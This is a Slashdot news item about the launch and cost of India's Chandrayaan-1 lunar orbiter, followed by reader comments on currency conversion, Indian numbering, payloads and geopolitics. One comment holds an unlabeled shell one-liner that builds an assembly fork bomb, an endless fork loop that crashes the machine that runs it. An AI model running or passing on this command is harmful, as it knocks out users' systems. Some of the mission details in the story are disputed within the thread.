Indian Moon Mission To Launch Next Month
Anil Kandangath writes with word that the Indian moon mission plans (mentioned earlier on Slashdot) are about to be put to the test. "While the spacecraft itself will not land on the Moon, it will act as an orbiter and land a rover on the surface. The spacecraft is being launched next month sometime between October 22 and October 26. The spacecraft payload includes 11 payloads (including one from NASA) and will perform remote sensing and studies of the lunar surface. The mission is estimated to cost Rs 386 crore (~ 84.3 million USD)." Update: 09/21 18:29 GMT by T : Thanks to reader Anil Gaddam for pointing out that this figure had been originally misstated as 7.7 million USD.
http://www.google.com/search?hl=en&q=386+crore+inr+in+usd&btnG=Search
Hmm. Summary says 386 crore, but the conversion is only for 36 crore?
386 crore Indian rupees = 84.00518 million U.S. dollars
http://www.google.com/search?hl=en&q=386+crore+inr+in+usd&btnG=Search
The mission is estimated to cost Rs 386 crore (~ 84 million USD)."
Fixed.
Indians use a different system of counting. After the thousand, they have a name for every second power of ten (unlike the western system of naming every third power). The system goes like this: 1000: 1e3: Thousand 100 thousands: 1e5 : Lakh 100 lakhs : 1e7 : Crore So 386 crores at about 46 INR a dollar is about 86 million USD.
Screw that. India is a parliamentary democracy and a long term rival of China. This ain't Star Trek. Let's talk to the Aussies and get them to ship that uranium. Maybe we can negotiate a military alliance.
Oops, I mean namaste. Congratulations on your mostly peaceful use of rockets and nuclear technology
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The Chandrayaan-2 mission will be the first rover mission and is scheduled for 2011.
Great info about the mission here
84 million US$, actually.
There are 2 NASA payloads selected for the Chandrayaan I, not one.